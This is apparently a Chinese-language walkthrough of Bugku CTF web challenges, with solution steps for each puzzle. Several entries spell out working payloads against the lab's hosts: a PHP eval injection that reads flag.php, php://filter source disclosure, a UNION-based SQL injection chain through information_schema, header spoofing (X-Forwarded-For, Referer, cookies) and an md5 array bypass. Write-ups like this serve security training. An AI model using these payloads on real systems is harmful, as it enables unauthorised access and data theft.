WEB2
按F12即可获得flag
计算器
测试发现只能输入一位数
F12将最大输入长度改为2,验证获得flag
web基础$_GET
get传值,根据提示传值得到flag
web基础$_POST
post传值,用hackbar传值得到flag
矛盾
观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造
web3
查看页面源码发现
html解码得到flag
你必须让他停下
BP抓包,repeater中多次go会出现flag
本地包含
题目:
知识基础
涉及到的几个函数:
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢
2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。
# outputhello world
3.var_dump: 函数用于输出变量的相关信息
# 数字var_dump(1); >int(1)# 字符串var_dump("string"); >string(6)"string"
首先闭合var_dump:1)";
第二步构建print_r:print_r(file("./flag.php"));
URL构建结束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")
变量1
isset: 用于检测变量是否已设置并且非 NULL。
prep_match: 用于执行一个正则表达式匹配。
代码中flag In the variable ! 提示 flag 在变量中
根据!preg_match("/^\w+$/",$args)得知,arg只能是任意字母,数字,下划线,汉字的字符组成
eval("var_dump($$args);");使$GLOBALS变量被输出即可
url:http://123.206.87.240:8004/index1.php?args=GLOBALS
web5
查看源代码,发现有很长的一串符号
然后根据题目提示jsfuck,是jsfuck代码,复制下来放到控制台运行。出现:"ctf{whatfk}"。
头等舱
页面显示:
查看源码也什么都没有,用bp抓一下包试试,找到了flag
管理员系统:
先随意尝试了一下,显示ip禁止访问。。。
查看源码,发现有好多空白行,拉到末尾发现了,base64解码为test123
以为是账号和密码,发现不对。查阅资料发现可以伪造一个XFF头,伪装成本地登录
X-Forwarded-For: 127.0.0.1
于是bp抓包,加上xff,go得到flag
WEB4
题目是看看源代码,那就先看看源代码,看到了这么一串
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
url解码一下
p1:function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
p2:aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
%35%34%61%61%32----->54aa2
则在页面中提交:67d709b2b54aa2aa648cf6e87a7114f1,就获得了flag
flag在index里
将网页点开,在点击相应连接,网页地址栏变为:
http://120.24.86.145:8005/post/index.php?file=show.php
看到了file关键字,看看用php://filter能否将index读出来
http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
将得到的base64解码,观察程序得到flag
输入密码查看flag
利用burp爆破
点击一百万次
F12尝试更改数据,但是没有用
查看源码,利用post传值
成绩单
遍历-1' union select 1,2,3,4#四个表且都有回显
-1' union select 1,2,3,database()#得到数据库名字skctf_flag
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc
i-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#得到字段skctf_flag
id=-1' union select 1,2,3,skctf_flag from fl4g#
得到BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司机
速度要快
抓包查看发现有段注释,让我们post margin的值。通过抓包在response的headers中发现了名为flag的字符串,应该是base64加密。所以进行解密,解密结果只有‘:’后面是正常的字符串,单独对‘:’后字符串再进行base解密,得到了一串数字,应该是margin的值。
代码:
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s =requests.Session()
headers =s.get(url).headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])
data= {'margin':str2}
flag = s.post(url,data=data)
print(flag.text)
cookies欺骗
打开链接是一长串的字母,查看源码也没发现什么。然后url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ= ,base64解码为keys.txt
用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=1,2,3都返回了不同的代码
用脚本跑出所有的源码
分析源码,构造keys.php的base64 作为filename的参数 ,判断cookie必须满足margin=margin才能访问keys.php(base64编码),抓包,修改cookie,go得到flag
never give up
源代码中发现1p.html,
访问1p.html发现直接跳转到了https://www.bugku.com/
那就查看1p.html的源代码view-source:http://123.206.87.240:8006/test/1p.html
发现了一串url编码 解密后得到
通过base64解码后得到
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
然后我们再通过url解码得到
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
访问http://123.206.87.240:8006/test/f4l2a3g.txt,得到flag
welcome to bugkuctf
查看页面源码
通过get方法传递三个值:txt,file,password
读取$user文件的内容,并且文件内容要与‘welcome to the bugkuctf’相同
可以利用php伪协议里面的PHP://input,写入txt,构造payload如下
我们就得到了右边这个页面。然后注意到hint.php这个东西,尝试访问一下,什么也没有。这里,我们传入第二个参数file,并利用伪协议的PHP://fifter读取一下hint.php的源码,结果是base64加密的,读完之后解密一下就行了。
解密
我不会了。。
前女友(SKCTF)
点开链接两个字的链接
在PHP中
MD5是不能处理数组的,md5(数组)会返回null
所以即
md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件
构造: index.php?v1[]=1&v2[]=2&v3[]=3
多种方法
login1(SKCTF)
打开之后我先注册了一个账号尝试,然后跳出来不是管理员还想知道flag,因此账号一定要是管理员啊,我注册一个admin试试,然后跳出来说
那管理员的用户名就是admin,前面提示说是基于约束的sql攻击,则我们注册账号admin ,然后随便一个密码。注册结束登陆啦按注册的账号登陆得到flag
你从哪里来
用bp抓包添加referer头
referer:https://www.google.com得到flag